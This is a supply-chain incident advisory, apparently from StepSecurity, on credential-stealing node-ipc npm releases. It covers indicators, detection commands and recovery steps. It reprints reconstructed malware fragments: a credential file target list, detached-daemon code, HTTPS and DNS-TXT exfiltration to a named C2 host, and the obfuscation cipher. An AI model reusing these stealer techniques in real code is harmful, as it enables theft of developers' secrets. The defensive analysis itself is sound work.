惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Microsoft Azure Blog
Microsoft Azure Blog
博客园_首页
Forbes - Security
Forbes - Security
WordPress大学
WordPress大学
P
Proofpoint News Feed
T
Threat Research - Cisco Blogs
L
LINUX DO - 热门话题
L
Lohrmann on Cybersecurity
Spread Privacy
Spread Privacy
D
Darknet – Hacking Tools, Hacker News & Cyber Security
大猫的无限游戏
大猫的无限游戏
博客园 - 三生石上(FineUI控件)
P
Privacy International News Feed
A
About on SuperTechFans
T
Tailwind CSS Blog
I
InfoQ
S
Securelist
云风的 BLOG
云风的 BLOG
罗磊的独立博客
Recent Announcements
Recent Announcements
T
The Exploit Database - CXSecurity.com
B
Blog RSS Feed
V
Visual Studio Blog
Know Your Adversary
Know Your Adversary
The GitHub Blog
The GitHub Blog
Jina AI
Jina AI
腾讯CDC
Cyberwarzone
Cyberwarzone
有赞技术团队
有赞技术团队
AWS News Blog
AWS News Blog
博客园 - 【当耐特】
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
F
Full Disclosure
S
Secure Thoughts
博客园 - 司徒正美
J
Java Code Geeks
Y
Y Combinator Blog
Google Online Security Blog
Google Online Security Blog
GbyAI
GbyAI
N
News and Events Feed by Topic
Help Net Security
Help Net Security
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Project Zero
Project Zero
T
Tenable Blog
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
T
Tor Project blog
MyScale Blog
MyScale Blog
Scott Helme
Scott Helme
小众软件
小众软件
K
Kaspersky official blog

Step Security Blog

Securing Vibe Coding and AI Coding Agents: An End-to-End Approach with StepSecurity - StepSecurity Introducing StepSecurity Dev Machine Guard: Protecting Developer Machines from Supply Chain Attacks - StepSecurity Top 2024 Predictions for CI/CD Security - StepSecurity Dev Machine Guard Is Now Open Source: See What's Really Running on Your Developer Machine - StepSecurity Datadog's DevSecOps 2026 Report Validates What We've Been Building - StepSecurity hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far - StepSecurity Cline Supply Chain Attack Detected: cline@2.3.0 Silently Installs OpenClaw - StepSecurity StepSecurity’s Unified Protection Across the SDLC Infrastructure Threat Framework (SITF) - StepSecurity @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence - StepSecurity axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Behind the Scenes: How StepSecurity Detected and Helped Remediate the Largest npm Supply Chain Attack - StepSecurity 10 Layers Deep: How StepSecurity Stops TeamPCP's Trivy Supply Chain Attack on GitHub Actions - StepSecurity Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor - StepSecurity TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package - StepSecurity litellm: Credential Stealer Hidden in PyPI Wheel - StepSecurity Checkmarx KICS GitHub Action Compromised: Malware Injected in All Git Tags - StepSecurity CanisterWorm: How a Self-Propagating npm Worm Is Spreading Backdoors Across the Ecosystem - StepSecurity Trivy Compromised a Second Time - Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised - StepSecurity bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys - StepSecurity Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised - StepSecurity Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys - StepSecurity ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push - StepSecurity xygeni-action Compromised: C2 Reverse Shell Backdoor Injected via Tag Poisoning - StepSecurity kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package - StepSecurity How StepSecurity Caught a Release Storm in Microsoft’s @types Packages - StepSecurity Harden Runner Now Supports Windows and macOS GitHub Actions Runners - StepSecurity 10,000 Open-Source Projects Now Secured by Harden-Runner Community-Tier: A Milestone Three Years in the Making - StepSecurity 20+ Popular NPM Packages Compromised (Chalk, Debug, Strip-ANSI, Color-Convert, Wrap-ANSI...) - StepSecurity 2024 in Review: The Evolution of CI/CD Security & What's Next - StepSecurity How to Use Docker in Actions Runner Controller (ARC) Runners Securely - StepSecurity Celebrating 1000 Repositories Secured with Harden Runner: A Journey of Growth and Collaboration - StepSecurity StepSecurity Detects Early Supply Chain Risk Signals in kilocode npm - StepSecurity Another npm Supply Chain Attack: The 'is' Package Compromise - StepSecurity anthropics/claude-code-action Security: How to Secure Claude Code in GitHub Actions with Harden-Runner - StepSecurity Harden-Runner detection: tj-actions/changed-files action is compromised - StepSecurity StepSecurity's Catalog of Fixes - StepSecurity Orchestrating Security: StepSecurity's Impact on 400+ Repositories and Future Plans - StepSecurity Announcing Anomalous Outbound Call Detection Using Machine Learning - StepSecurity Announcing GitHub Actions Advisor and StepSecurity Maintained Actions - StepSecurity Analysis of Backdoored XZ Utils Build Process with Harden-Runner - StepSecurity Announcing General Availability of Harden Runner - StepSecurity Milestone Achieved: 2500+ Public Repositories Secured with Harden-Runner - StepSecurity Build secretless CI/CD pipelines using wait-for-secrets - StepSecurity Introducing Apps & PATs: Centralized Visibility for GitHub Apps and Personal Access Tokens - StepSecurity CVE-2026-22709: Critical Sandbox Escape Vulnerability in vm2 - StepSecurity StepSecurity Now Supports Dark Mode - StepSecurity 2025 in Review: The Evolution of Supply Chain Security & What's Next - StepSecurity Bake Harden-Runner Into GitHub's Custom Runner Images for Organization-Wide CI/CD Security - StepSecurity StepSecurity Is Now Available on Azure Marketplace - StepSecurity Critical Remote Code Execution Vulnerabilities Discovered in React Server Components and Next.js - StepSecurity How Harden Runner Detected the Sha1-Hulud Supply Chain Attack in CNCF's Backstage Repository - StepSecurity Sha1-Hulud: The Second Coming - Zapier, ENS Domains, and Other Prominent NPM Packages Compromised - StepSecurity Supply Chain Security Alert: eslint-config-prettier Package Shows Signs of Compromise - StepSecurity 9,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Shai-Hulud: Self-Replicating Worm Compromises 500+ NPM Packages - StepSecurity Introducing npm Package Search: Find Where Any Package Was Introduced Across Your GitHub Organizations - StepSecurity StepSecurity Is Sponsoring GitHub Universe 2025 - StepSecurity s1ngularity: Popular Nx Build System Package Compromised with Data-Stealing Malware - StepSecurity Introducing StepSecurity Threat Intelligence: Real-Time Supply Chain Attack Alerts for Your SIEM - StepSecurity 8,000 Strong: Harden-Runner's Growing Impact on CI/CD Security - StepSecurity Securing Google Gemini in GitHub Actions with Harden-Runner - StepSecurity GhostAction Campaign: Over 3,000 Secrets Stolen Through Malicious GitHub Workflows - StepSecurity Introducing the NPM Package Cooldown Check - StepSecurity Securing GitHub Copilot in GitHub Actions with Harden-Runner - StepSecurity Calculate Your CI/CD Security ROI with StepSecurity's New ROI Calculator - StepSecurity How StepSecurity Harden Runner Detected Unexpected Microsoft Defender Installation on GitHub-hosted Ubuntu Runners - StepSecurity StepSecurity Harden Runner: Detect source code tampering during the build process - StepSecurity Suspicious Tag Movement in AWS’s GitHub Action: What Happened and Why It Matters - StepSecurity When 'Changed Files' Changed Everything: Our Black Hat 2025 Presentation on the tj-actions Supply Chain Breach - StepSecurity Lessons from AWS CodeBuild’s Memory-Dump Incident (CVE-2025-8217) - StepSecurity Supply Chain Security Alert: num2words PyPI Package Shows Signs of Compromise - StepSecurity When AI Meets CI/CD: Coding Agents in GitHub Actions Pose Hidden Security Risks - StepSecurity The GitHub Warning Everyone Ignores: 'This Commit Does Not Belong to Any Branch' - StepSecurity 8 GitHub Actions Secrets Management Best Practices to Follow - StepSecurity reviewdog GitHub Actions are compromised - StepSecurity 7,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Replace Third-Party Actions with StepSecurity Maintained Actions via Automated Pull Requests - StepSecurity StepSecurity Is Now Available on AWS Marketplace - StepSecurity Introducing StepSecurity Artifact Monitor: Detect Unauthorized Software Releases in minutes, not months - StepSecurity Introducing Workflow Run Policies: Guardrails for Blocking Non-Compliant GitHub Actions Runs - StepSecurity Harden-Runner Detects New Traffic to release-assets.githubusercontent.com Across Multiple Customers - StepSecurity Grafana GitHub Actions Security Incident - StepSecurity Export Harden-Runner Security Insights and Detections to Amazon S3 - StepSecurity Evolving Harden-Runner’s disable-sudo Policy for Improved Runner Security - StepSecurity Announcing Policy-Driven Automated Pull Requests for CI/CD Misconfiguration Remediation - StepSecurity Announcing StepSecurity’s Integration with RunsOn: Secure and Optimized CI/CD Pipelines - StepSecurity Secure Repo Just Got Better: New Features for GitHub Actions Security Best Practices - StepSecurity Why Compliance Auditors Are Looking at Your CI/CD Runners - And How to Prepare - StepSecurity Harden-Runner Flags Anomalous Outbound Call, Leading to Docker Documentation Update - StepSecurity StepSecurity Harden-Runner Now Secures GitHub Actions Workflows for Over 5,000 Open Source Projects - StepSecurity GitHub Actions Pwn Request Vulnerability - StepSecurity Prevent Ultralytics Style CI/CD Security Attacks with Network Security Controls - StepSecurity PyTorch Supply Chain Compromise - StepSecurity Unified Network Egress View: Centralize GitHub Actions Network Destinations for Your Enterprise - StepSecurity Uniting Developers and Security: Celebrating the Success of 500+ Open Source Projects Using StepSecurity's Orchestration Platform - StepSecurity 5 Effective Third-Party GitHub Actions Governance Best Practices - StepSecurity StepSecurity Recognized Among CRN’s "10 Hottest DevOps Startups Of 2024" - StepSecurity Streamline Your GitHub Actions Workflows with StepSecurity’s Latest Feature - StepSecurity StepSecurity Steps Up the Security Game with SOC 2 Type 2 Compliance - StepSecurity StepSecurity's Alignment with CISA's CI/CD Security Guidance - StepSecurity
Active Supply Chain Attack: Malicious node-ipc Versions Published to npm - StepSecurity
2026-05-15 · via Step Security Blog

On May 14, 2026, three malicious versions of node-ipc, a foundational Node.js inter-process communication library with over 10 million weekly downloads, were simultaneously published to the npm registry. Versions 9.1.6, 9.2.3, and 12.0.1 each carry an identical 80 KB obfuscated credential-stealing payload injected into the package's CommonJS bundle. The compromised versions were published by the account atiertant (a.tiertant@atlantis-software.net) -- a maintainer account not responsible for any prior release of the package. This incident was detected by StepSecurity AI Package Analyst.

The attack is surgically precise. Publishing across two major version lines at once is a deliberate blast-radius maximization strategy: users pinned to ~9.1.x, ~9.2.x, ^9, ^12, or ~12.0 all received the compromised package automatically on their next install or lockfile refresh. The 9.x releases are entirely fabricated -- the 9.x line never shipped a CommonJS bundle before this attack.

Once loaded via require('node-ipc'), the payload silently harvests over 90 categories of credentials -- AWS, Azure, GCP, SSH keys, Kubernetes tokens, GitHub CLI configs, Claude AI and Kiro IDE settings, Terraform state, database passwords, shell history, and more -- compresses everything into a gzip archive, and exfiltrates it to an attacker-controlled server masquerading as Azure infrastructure. The ESM entry point is untouched; only the CommonJS bundle is compromised.

The package was originally authored by Brandon Nozaki Miller (RIAEvangelist) and was previously involved in the 2022 peacenotwar incident, which deployed a geopolitically motivated file-destruction payload. This 2026 attack is independently staged by a different actor with a purely financial credential-theft motive.

If you have installed any of the compromised versions listed below, assume all secrets accessible in that environment are compromised.

Compromised Versions

Three simultaneous malicious releases target different semver range patterns used in real projects:

  • node-ipc@9.1.6
  • node-ipc@9.2.3
  • node-ipc@12.0.1

npm's latest dist-tag now points to node-ipc@12.0.1. Any project that runs npm install node-ipc without a pinned version will pull the compromised tarball.

All three malicious versions were published on 2026-05-14. The compromised node-ipc.cjs file is byte-for-byte identical across all three, confirming a single staging operation: one compiled, obfuscated bundle was inserted into three separate package.json contexts before simultaneous publishing. Versions 11.1.0 and other non-affected lines are clean. The 2022 peacenotwar incident (versions 10.1.1/10.1.2) was a different attack by a different actor.

How node-ipc Was Compromised

This attack relied on a compromised or rogue maintainer account rather than a CI/CD pipeline hijack. The chain breaks down into three steps.

Step 1: Rogue Maintainer Account Publishes Poisoned Releases

Version 12.0.0 was published on August 12, 2024 by riaevangelist, the legitimate original author. Twenty-one months later, three new versions were published by a separate account, atiertant (a.tiertant@atlantis-software.net), which currently appears in node-ipc's maintainer list but has no prior publish history on this package. The 21-month gap is a recurring pattern in npm supply chain attacks targeting dormant high-download packages. Either the atiertant credentials were freshly compromised, or the account was added as a maintainer specifically to enable this publish operation.

Step 2: Payload Injection via CommonJS Bundle

The malicious payload is an Immediately Invoked Function Expression (IIFE) appended at the very end of node-ipc.cjs, after the final module.exports line. Because Node.js evaluates every top-level statement in a CommonJS module on load, the IIFE fires unconditionally on every require('node-ipc'). No method invocation, configuration flag, or trigger condition is needed beyond importing the package. There are no preinstall, install, or postinstall scripts in package.json -- this is a deliberate evasion choice that makes the payload invisible to tools that only scan lifecycle hooks.

The ESM bundle (node-ipc.js) and all individual source files are untouched. Projects that import via import ipc from 'node-ipc' with a bundler that resolves the "module" field are unaffected. Projects using require('node-ipc') or any toolchain that resolves "main" to node-ipc.cjs are at risk.

Step 3: Multi-Version Blast Radius Strategy

Rather than poisoning a single release, the attacker published across two major version lines simultaneously. The 9.x series is particularly interesting because the legitimate 9.x line never contained a node-ipc.cjs bundle at all. The attacker copied the 12.x package structure into entirely synthetic 9.1.6 and 9.2.3 tarballs. There is no real codebase being patched -- the 9.x compromised releases are wholly fabricated packages that share only a name with their legitimate predecessors.

Attack Chain: Stage by Stage

The following diagram shows the full attack flow from module load to data exfiltration:

Stage 1: Module Load Triggers IIFE

The obfuscated IIFE at line 1271 of node-ipc.cjs runs the instant Node.js evaluates the file. It schedules the rest of its work via setImmediate() to avoid blocking the event loop, making execution less likely to raise immediate red flags in application logs.

The diff between the last clean release and the compromised version is surgical -- a single line addition of 80,079 characters:

--- node-ipc-12.0.0/node-ipc.cjs    1269 lines, 37 KB (clean)
+++ node-ipc-12.0.1/node-ipc.cjs    1271 lines, 117 KB (compromised)

  var singleton = new IPCModule();
  0 && (module.exports = { IPCModule });
+
+(function(_0xaed59b,_0x282d65){var _0x4524e4=_0x1a49, ...  /* 80 KB obfuscated payload */

There are no install-time hooks in package.json. The payload does not run during npm install. It fires the first time any application calls require('node-ipc'), making it invisible to tools that only scan preinstall / postinstall hooks.

Stage 2: Configuration Decoding

The payload calls its custom decoder function three times to unpack hard-coded attack configuration from a custom base-16 encoded string table:

_0x501a65 = {
  r: 'sh.azurestaticprovider.net:443',   // C2 address
  k: 'qZ8pL3vNxR9wKmTyHbVcFgDsJaEoUi', // auth/HMAC key
  z: 'bt.node.js',                       // request identifier
  w:  os.release() + 'nt-' + process.env[...]  // system fingerprint
}

Stage 3: Targeting Gate (12.0.1 only)

Version 12.0.1 contains a precision targeting gate that the 9.x versions do not. The very first operation the payload performs is a SHA-256 fingerprint check. It computes SHA256(path.normalize(module.filename).toLowerCase()) and compares it to a hardcoded hash assembled from eight obfuscated table fragments:

// Reconstructed from deobfuscated source
const TARGET_HASH = [
  'bf9d8c0c',  // _0x2d1488['qaQKf']
  '3ed3ceaa',  // _0x2d1488['WvVHB']
  '831a13de',  // _0x2d1488['bEBCM']
  '27f1b1c7',  // _0x2d1488['IZHwy']
  'c7b7f01d',  // _0x2d1488['IhWjW']
  '2db4103b',  // _0x2d1488['oMpYu']
  'fdba4191',  // _0x2d1488['fZfOW']
  '940b0301',  // _0x2d1488['MjCcY']
].join('');
// = 'bf9d8c0c3ed3ceaa831a13de27f1b1c7c7b7f01d2db4103bfdba4191940b0301'

const isTarget = !!module.filename &&
  crypto.createHash('sha256')
        .update(path.normalize(module.filename).toLowerCase(), 'utf8')
        .digest('hex') === TARGET_HASH;

if (!isTarget) return; // silent exit on non-target systems

This means 12.0.1 is entirely inert on any machine whose primary module path does not hash to the target value. The attacker knows exactly which project or developer is being targeted and pre-computed the hash of their entry point before publishing. Critically, the SHA-256 hash is opaque to defenders -- there is no way to reverse the hash to determine which specific path is being targeted without brute-forcing the input space. If you installed 12.0.1, treat the compromise as certain, not possible. The 9.x versions do not have this gate and will execute the full payload on any system that loads them.

Stage 4: Daemonization

On a matching system (or unconditionally for 9.x), the payload checks for the environment variable __ntw. If absent, it immediately spawns a detached clone of the current process with __ntw=1 set, then allows the parent to continue normally so the application never hangs or errors:

// Reconstructed daemonization logic
const childEnv = Object.assign({}, process.env, { __ntw: '1' });
delete childEnv.NODE_OPTIONS;  // strip any debugger/inspector flags

const daemon = child_process.fork(
  path.normalize(module.filename),
  [],
  {
    cwd: process.cwd(),
    detached: true,
    stdio: 'ignore',      // no stdout/stderr visible to parent
    env: childEnv,
    execArgv: [],
    windowsHide: true,
  }
);
daemon.channel?.unref?.();
daemon.unref();           // parent continues without waiting

Stage 5: System Enumeration and Credential Harvesting

The daemon creates a staging directory at $TMPDIR/nt-<PID>/, runs execSync('uname -a') to collect OS information (the command is spelled out character-by-character using String.fromCharCode to evade simple string matching), then serializes all environment variables to JSON.

A 5,141-character encoded blob (decoded to 2,570 bytes of UTF-8) holds 90+ file-path patterns. The payload resolves each pattern using statSync() and readdirSync(), then reads matching files. The target list spans the full spectrum of developer and cloud credentials:

  • Cloud providers: ~/.aws/credentials, ~/.aws/config, ~/.aws/sso/cache/*, ~/.azure/accessTokens.json, ~/.azure/msal_token_cache.*, ~/.config/gcloud/application_default_credentials.json, ~/.config/gcloud/credentials.db, plus OCI, DigitalOcean, Hetzner, Scaleway, Alibaba Cloud, IBM Cloud, Fly.io, Vercel, Railway, Snowflake, MinIO
  • SSH and Git: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id*, ~/.ssh/known_hosts, /etc/ssh/ssh_host_*_key, ~/.git-credentials, ~/.gitconfig, ~/.config/gh/hosts.yml
  • Kubernetes and containers: ~/.kube/config, ~/.docker/config.json, /var/run/secrets/kubernetes.io/serviceaccount/token, /etc/rancher/k3s/k3s.yaml
  • AI tools: .claude.json, ~/.claude.json, ~/.claude/mcp.json, .kiro/settings/mcp.json
  • Terraform and IaC: ~/.terraform.d/credentials.tfrc.json, ~/.terraformrc, **/terraform.tfvars, **/*.auto.tfvars
  • Developer tools: ~/.npmrc, ~/.pypirc, ~/.netrc, ~/.yarnrc
  • Databases: ~/.pgpass, ~/.my.cnf, ~/.snowflake/connections.toml, **/config/database.yml
  • CI/CD workflows: **/.github/workflows/*.yml, **/.gitlab-ci.yml, **/.env.production
  • Shell history: ~/.bash_history, ~/.zsh_history, ~/.python_history, ~/.mysql_history
  • macOS keychains: ~/Library/Keychains/*.keychain-db
  • Environment files: .env, **/.env.local, **/.env.production

All collected data is assembled in memory into a ustar-format TAR archive. Two fixed files anchor the archive: uname.txt (OS metadata and uname -a output) and envs.txt (all environment variable key-value pairs, sorted). Every matched credential file is added under its resolved path. The archive is then compressed with zlib.gzipSync().

Stage 6: Dual-Channel Exfiltration

The payload attempts two independent exfiltration channels simultaneously. Either channel succeeding is sufficient for the attacker to receive the stolen data.

Channel 1: HTTPS POST to fake Azure domain

// C2 server: sh.azurestaticprovider.net:443
// Resolved IP at time of analysis: 37.16.75.69
//
// The domain is crafted to blend into Azure-heavy environments.
// "azurestaticprovider" reads as a plausible Azure service subdomain.
//
// Each request is chunked and HMAC-SHA256 authenticated:
const sig = crypto.createHmac('sha256', key + '|t')
                  .update(body)
                  .digest('hex')
                  .slice(0, N);

// JSON metadata sent in first chunk (header):
{
  v: 1,
  machineHex: "<machine fingerprint>",
  cloud: "none",
  archivePath: "/tmp/nt-1234/abc.tar.gz",
  gzipBytes: 98304,
  hdrChunks: 2,
  datChunks: 31,
  hostLabel: "<session ID>"
}

Channel 2: DNS TXT exfiltration (direct C2 sink)

Before transmitting, the payload explicitly overrides the system DNS resolver with Google Public DNS (8.8.8.8) to bypass any local DNS-based security controls. It first resolves sh.azurestaticprovider.net using 1.1.1.1 (primary) or 8.8.8.8 (fallback) to obtain the C2 IP. Then it re-targets the resolver directly at the C2 IP for all exfiltration queries:

// DNS exfiltration bypasses all public resolvers
const resolver = new dns.promises.Resolver();
resolver.setServers(['37.16.75.69']);  // direct to C2 IP, not public DNS

// Each chunk of the TAR archive is hex-encoded as a DNS TXT query:
//   <data_chunk>.<session_id>.<chunk_index>.<total>.bt.node.js
//
// The C2 server doubles as a custom DNS sink on port 53.
// bt.node.js has no TLD registration -- it exists only as a cosmetic
// suffix inside UDP packets that never leave the attacker's infrastructure.
await resolver.resolveTxt(queryLabel);

The direct-to-C2 DNS sink is a notable anti-detection technique. Because the exfiltration queries never touch public DNS resolvers, there is no observable bt.node.js activity in public DNS logs. Organizations relying solely on DNS logging through corporate resolvers would not see this traffic.

Obfuscation Techniques

The payload uses javascript-obfuscator with four layers of protection stacked together to resist static analysis:

  • String array shuffling: A 443-entry string table is rotated by exactly 340 shifts at load time, validated by a checksum-guarded IIFE targeting 0xb5c88 (744,584 decimal). Every sensitive string lives in this shuffled array rather than inline in the code.
  • Control flow flattening: Execution order is encoded as pipe-delimited strings (e.g., '5|1|4|3|0|2') consumed by switch dispatch loops, replacing natural sequential code.
  • Dead code injection: Dummy comparison functions and opaque predicate variables are interspersed throughout to mislead automated analysis tools.
  • Custom base-16 encoding with reversed nibbles: Three critical values (C2 address, auth key, module ID) and the entire 2,570-byte target file list are stored as blobs encoded with the alphabet 0123456789GHJKMP, decoded at runtime by function _0x485bae().

The Custom Base-16 Cipher

The most effective obfuscation layer is the custom base-16 encoding combined with reversed nibble order. Standard hex letters a-f are replaced with visually distinct uppercase characters (G=10, H=11, J=12, K=13, M=14, P=15), and bytes are assembled in little-endian nibble order -- the opposite of conventional hex encoding. Anyone who correctly identifies the custom alphabet and writes a standard decoder still recovers garbage. You have to reverse the nibble pairs to get plaintext:

// Custom base-16 alphabet: 0123456789GHJKMP
// G=10(a)  H=11(b)  J=12(c)  K=13(d)  M=14(e)  P=15(f)
// Letters I, L, N, O were skipped -- too similar to 1, 1, 0, 0

// Encoded C2 address in string table (position 32):
raw = '3786M216G75727563747164796360727P66796465627M2M65647G34343339'

// Standard decode (WRONG -- high nibble first):
// 37 -> 0x37 = '7'   86 -> 0x86 = garbage

// Reversed decode (CORRECT -- low nibble first):
// 37 -> (7<<4)|3 = 0x73 = 's'
// 86 -> (6<<4)|8 = 0x68 = 'h'
// M2 -> (2<<4)|14= 0x2E = '.'
// ...
// Result: "sh.azurestaticprovider.net:443"

// Encoded auth key (position 324):
'17G58307J43367M487259377H4K645978426653664764437G41654P655966'
// Decoded: 'qZ8pL3vNxR9wKmTyHbVcFgDsJaEoUi'

Indicators of Compromise

File Hashes

  • node-ipc.cjs SHA-256 (identical in all three versions): 96097e0612d9575cb133021017fb1a5c68a03b60f9f3d24ebdc0e628d9034144
  • node-ipc.cjs SHA-1 (identical in all three versions): ab7388363936bf527afd4173b5728c7cdbdd01ab
  • Injected IIFE block SHA-256 (80,078 bytes): b2001dc4e13d0244f96e70258346700109907b90e1d0b09522778829dcd5e4cf
  • Injected IIFE block MD5: 9672e9fb93a457f1d359511b4e53490d
  • node-ipc-12.0.1.tgz SHA-1: fe5d107b9d285327af579259a32977c4f475fa26
  • node-ipc-12.0.1.tgz SHA-256: 78a82d93b4f580835f5823b85a3d9ee1f03a15ee6f0e01b4eac86252a7002981
  • node-ipc-9.2.3.tgz SHA-1: 58ae7338960ef525d7c655023d7c81e3ddb283d6
  • node-ipc-9.2.3.tgz SHA-256: c2f4dc64aec4631540a568e88932b61daebbfb7e8281b812fa01b7215f9be9ea
  • node-ipc-9.1.6.tgz SHA-1: f5974a9774a22a863728b960543f68e7009099ef
  • node-ipc-9.1.6.tgz SHA-256: 449e4265979b5fdb2d3446c021af437e815debd66de7da2fe54f1ad93cbcc75e

Network Indicators

  • C2 domain (typosquatting Azure): sh.azurestaticprovider[.]net -- NOT a Microsoft domain. Mimics azurestaticapps.net and azurewebsites.net in logs.
  • C2 port: 443 (HTTPS, designed to blend with normal TLS traffic)
  • C2 resolved IP: 37.16.75.69 -- Block at network layer
  • DNS C2 sink: 37.16.75.69 (UDP 53) -- C2 server doubles as DNS sink; receives raw exfil queries directly
  • DNS resolver override: 8.8.8.8 / 1.1.1.1 -- Used only to resolve C2 hostname, not for exfiltration
  • DNS exfil label suffix: *.bt.node.js -- Cosmetic suffix in exfil TXT queries; never appears in public DNS

Embedded Payload Identifiers

  • Hardcoded HMAC key: qZ8pL3vNxR9wKmTyHbVcFgDsJaEoUi
  • Module/request identifier: bt.node.js
  • Targeting hash (12.0.1): bf9d8c0c3ed3ceaa831a13de27f1b1c7c7b7f01d2db4103bfdba4191940b0301
  • Staging directory: $TMPDIR/nt-<PID>/
  • Daemon env marker: __ntw=1
  • Payload location: node-ipc.cjs line 1271 (80,079-byte single obfuscated line)
  • Obfuscator string-array shuffle target: 0xb5c88 (744,584 decimal), 340 left-rotations of 443 entries

Detection Signals

  • Presence of node-ipc@9.1.6, @9.2.3, or @12.0.1 in lockfiles or node_modules
  • node-ipc.cjs file size anomaly: 117 KB vs 37 KB for clean versions
  • Outbound HTTPS to sh.azurestaticprovider.net or 37.16.75.69:443
  • Unexpected outbound UDP/53 traffic to 37.16.75.69 from application processes
  • Directories matching $TMPDIR/nt-* on the filesystem
  • Processes with __ntw=1 in their environment

Am I Affected?

You are potentially affected if any of the following is true:

1. Direct dependency: Your project's package.json lists node-ipc with a range that resolves to 9.1.6, 9.2.3, or 12.0.1:

npm ls node-ipc

2. Transitive dependency: A package your project depends on depends on node-ipc:

npm ls node-ipc --all 2>/dev/null | grep -E '9\.1\.6|9\.2\.3|12\.0\.1'

3. Lock file check: Search your lockfiles directly:

# npm
grep -E '"node-ipc".*"(9\.1\.6|9\.2\.3|12\.0\.1)"' package-lock.json

# yarn
grep -E 'node-ipc@(9\.1\.6|9\.2\.3|12\.0\.1)' yarn.lock

# pnpm
grep -E 'node-ipc.*9\.1\.6|9\.2\.3|12\.0\.1' pnpm-lock.yaml

4. CI/CD environments: If your pipelines install npm dependencies, check your workflow run history. Any job that ran npm install or npm ci after 2026-05-14 against an unlocked or loose semver dependency on node-ipc in the 9.x or 12.x range may have pulled the compromised version.

If you installed any of the three compromised versions: assume all credentials, tokens, and environment secrets present on that machine or CI/CD environment at the time are compromised. Rotate all secrets immediately. Do not wait for confirmation of exfiltration. Treat the compromise as certain, not possible.

For the Community: Recovery Steps

Developer Machines and Code Repositories

1. Pin to a safe version. Update your dependency to one of the last known-clean releases immediately:# For 9.x users

# For 9.x users
npm install node-ipc@9.2.1

# For 12.x users
npm install node-ipc@12.0.0

2. Regenerate your lock file after updating to ensure the compromised version is fully evicted from the resolved dependency graph.

3. Check for staging directories left by the daemon:

# macOS / Linux
ls -la "${TMPDIR}/nt-"* 2>/dev/null || ls -la /tmp/nt-* 2>/dev/null

# If found, the daemon executed on this machine.
# Preserve for forensics before deleting.

4. Check for daemon processes with the __ntw=1 marker:

# Linux
grep -rl '__ntw' /proc/*/environ 2>/dev/null

# macOS
ps auxeww | grep __ntw

5. Rotate all credentials accessible on the affected system. Priority order:

  1. AWS IAM access keys and session tokens
  2. SSH private keys -- revoke from all authorized_keys lists
  3. Kubernetes service account tokens
  4. GitHub personal access tokens and OAuth apps
  5. Cloud provider service account keys (Azure, GCP, OCI)
  6. All .env-based secrets in affected repositories
  7. Claude AI / Anthropic API keys (targeted by ~/.claude.json and ~/.claude/mcp.json)
  8. Database passwords (PostgreSQL ~/.pgpass, MySQL ~/.my.cnf)
  9. npm publish tokens, ~/.npmrc
  10. Investigate DNS and HTTPS egress logs for connections to sh.azurestaticprovider[.]net or 37.16.75.69 after 2026-05-14.

For CI/CD Environments

  1. Rotate all CI secrets immediately. If node-ipc@9.1.6, @9.2.3, or @12.0.1 was installed in any GitHub Actions, GitLab CI, CircleCI, or other workflow runner, assume every secret injected into that environment -- including GITHUB_TOKEN, cloud credentials, deploy keys, and any repository secrets -- was captured.
  2. Audit npm publish activity for any packages accessible with the rotated tokens.
  3. Review workflow run logs for unexpected network activity or detached processes.
  4. Audit OIDC and deploy tokens. If a compromised build job had access to deploy credentials or OIDC role assumption chains, review the blast radius for those pipelines specifically.
  5. Audit cloud audit logs. Review CloudTrail, Azure Activity Log, and GCP Audit Log for actions performed by IAM identities whose credentials were available during the compromised window. Look for unexpected role assumptions, new IAM users, and cross-account access.
  6. Enable egress controls. Block outbound traffic from CI/CD runners to arbitrary internet hosts. Only known registries and APIs should be reachable from build environments.

For StepSecurity Enterprise Customers

Threat Center Alert

StepSecurity has published a threat intel alert in the Threat Center with all relevant links to check if your organization is affected. The alert includes the full attack summary, technical analysis, IOCs, affected versions, and remediation steps, so teams have everything needed to triage and respond immediately. Threat Center alerts are delivered directly into existing SIEM workflows for real-time visibility.

Harden-Runner

Harden-Runner is a purpose-built security agent for CI/CD runners.

It enforces a network egress allowlist in GitHub Actions, restricting outbound network traffic to only allowed endpoints. Both DNS and network-level enforcement prevent covert data exfiltration. Any outbound connection to sh.azurestaticprovider.net, or any domain outside your allowlist, is blocked and alerted in real time. The DNS exfiltration channel -- TXT queries routed directly to 37.16.75.69:53 rather than any legitimate resolver -- is similarly anomalous and blocked by egress DNS policy enforcement.

Secure Registry

StepSecurity Secure Registry provides each enterprise customer with a dedicated, policy-enforced npm registry that sits between your existing package manager (such as JFrog Artifactory) and the public npm registry. Instead of fetching packages directly from registry.npmjs.org, your infrastructure routes requests through your StepSecurity registry, which applies configurable security policies before serving any package.

The primary defense here is the cooldown period. Newly published package versions are held for a configurable window before being served to any developer machine or CI/CD pipeline. When the compromised node-ipc@9.1.6, node-ipc@9.2.3, and node-ipc@12.0.1 versions were published to npm, Secure Registry customers were never exposed. Their registries continued serving the last known safe versions while the cooldown clock ran, giving the community and StepSecurity's AI Package Analyst time to flag and permanently block the malicious releases.

Detect Compromised Developer Machines

